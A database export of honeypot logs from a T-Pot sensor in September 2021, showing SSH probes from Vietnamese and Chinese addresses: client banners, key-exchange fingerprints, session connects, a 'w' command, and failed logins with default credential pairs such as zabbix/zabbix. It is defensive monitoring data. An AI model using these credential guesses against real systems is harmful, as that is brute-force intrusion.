21096	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:32.828472+03	2021-09-20 14:15:03.219614+03	{"_id": "pQXiAnwBvYTbRNuE1_-M", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "21a203a507ae", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:32.828472Z", "@timestamp": "2021-09-20T11:06:32.828Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
21097	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:32.626559+03	2021-09-20 14:15:03.220613+03	{"_id": "sQXiAnwBvYTbRNuE1_-M", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [zabbix/zabbix] failed", "session": "c69d5bec2a1b", "@version": "1", "password": "zabbix", "username": "zabbix", "timestamp": "2021-09-20T11:06:32.626559Z", "@timestamp": "2021-09-20T11:06:32.626Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
21098	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:33.029842+03	2021-09-20 14:15:03.221613+03	{"_id": "qQXiAnwBvYTbRNuE1_-M", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "5ea87880955a", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:33.029842Z", "@timestamp": "2021-09-20T11:06:33.029Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
21099	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:06:33.304428+03	2021-09-20 14:15:03.222612+03	{"_id": "4AXiAnwBvYTbRNuE2v-L", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1473390329751252, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 49526, "dest_port": 22, "timestamp": "2021-09-20T11:06:33.304428Z", "@timestamp": "2021-09-20T11:06:33.304Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21100	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:06:34.376632+03	2021-09-20 14:15:03.224613+03	{"_id": "DAbiAnwBvYTbRNuE3gBz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1342380942376861, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 33230, "dest_port": 22, "timestamp": "2021-09-20T11:06:34.376632Z", "@timestamp": "2021-09-20T11:06:34.376Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
21101	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:06:35.591094+03	2021-09-20 14:15:03.225614+03	{"_id": "PwbiAnwBvYTbRNuE4gBc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 2096628739312056, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 39060, "dest_port": 22, "timestamp": "2021-09-20T11:06:35.591094Z", "@timestamp": "2021-09-20T11:06:35.591Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21102	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:06:35.104085+03	2021-09-20 14:15:03.226613+03	{"_id": "QQbiAnwBvYTbRNuE4gBc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1726582946944356, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 33898, "dest_port": 22, "timestamp": "2021-09-20T11:06:35.104085Z", "@timestamp": "2021-09-20T11:06:35.104Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21103	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:06:35.640331+03	2021-09-20 14:15:03.228613+03	{"_id": "PgbiAnwBvYTbRNuE4gBc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 1087455306141181, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 59608, "dest_port": 22, "timestamp": "2021-09-20T11:06:35.640331Z", "@timestamp": "2021-09-20T11:06:35.640Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21104	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:35.312682+03	2021-09-20 14:15:03.229613+03	{"_id": "QgbiAnwBvYTbRNuE4wBV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:39060 (192.168.176.2:22) [session: b81e5eaa956b]", "session": "b81e5eaa956b", "@version": "1", "protocol": "ssh", "src_port": 39060, "dest_port": 22, "timestamp": "2021-09-20T11:06:35.312682Z", "@timestamp": "2021-09-20T11:06:35.312Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21215	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:32.73068+03	2021-09-20 14:15:03.374612+03	{"_id": "wAXiAnwBvYTbRNuE1_-N", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "w", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.command.input", "message": "CMD: w", "session": "93a2eacc7d8b", "@version": "1", "timestamp": "2021-09-20T11:06:32.730680Z", "@timestamp": "2021-09-20T11:06:32.730Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
21105	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:35.366464+03	2021-09-20 14:15:03.230613+03	{"_id": "QwbiAnwBvYTbRNuE4wBV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:59608 (192.168.176.2:22) [session: 946e8296b348]", "session": "946e8296b348", "@version": "1", "protocol": "ssh", "src_port": 59608, "dest_port": 22, "timestamp": "2021-09-20T11:06:35.366464Z", "@timestamp": "2021-09-20T11:06:35.366Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21106	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:35.463655+03	2021-09-20 14:15:03.232612+03	{"_id": "RAbiAnwBvYTbRNuE4wBV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:40772 (192.168.176.2:22) [session: 83eb6cc6c96b]", "session": "83eb6cc6c96b", "@version": "1", "protocol": "ssh", "src_port": 40772, "dest_port": 22, "timestamp": "2021-09-20T11:06:35.463655Z", "@timestamp": "2021-09-20T11:06:35.463Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21107	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:35.71931+03	2021-09-20 14:15:03.233613+03	{"_id": "RQbiAnwBvYTbRNuE4wBV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:34130 (192.168.176.2:22) [session: a40db5db1cd5]", "session": "a40db5db1cd5", "@version": "1", "protocol": "ssh", "src_port": 34130, "dest_port": 22, "timestamp": "2021-09-20T11:06:35.719310Z", "@timestamp": "2021-09-20T11:06:35.719Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21108	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:36.066204+03	2021-09-20 14:15:03.234612+03	{"_id": "RgbiAnwBvYTbRNuE4wBV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:43288 (192.168.176.2:22) [session: 7d2bd67868c0]", "session": "7d2bd67868c0", "@version": "1", "protocol": "ssh", "src_port": 43288, "dest_port": 22, "timestamp": "2021-09-20T11:06:36.066204Z", "@timestamp": "2021-09-20T11:06:36.066Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
21109	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:06:35.139524+03	2021-09-20 14:15:03.236613+03	{"_id": "RwbiAnwBvYTbRNuE4wBV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 33898, "dest_port": 22, "timestamp": "2021-09-20T11:06:35.139524", "@timestamp": "2021-09-20T11:06:35.139Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21119	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:35.290334+03	2021-09-20 14:15:03.249612+03	{"_id": "UQbiAnwBvYTbRNuE4wBV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [12qwaszx/12qwaszx] failed", "session": "1669e686d455", "@version": "1", "password": "12qwaszx", "username": "12qwaszx", "timestamp": "2021-09-20T11:06:35.290334Z", "@timestamp": "2021-09-20T11:06:35.290Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
21110	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:35.314322+03	2021-09-20 14:15:03.237615+03	{"_id": "SAbiAnwBvYTbRNuE4wBV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 39060, "timestamp": "2021-09-20T11:06:35.314322", "@timestamp": "2021-09-20T11:06:35.314Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21111	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:35.368252+03	2021-09-20 14:15:03.239613+03	{"_id": "SQbiAnwBvYTbRNuE4wBV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 59608, "timestamp": "2021-09-20T11:06:35.368252", "@timestamp": "2021-09-20T11:06:35.368Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
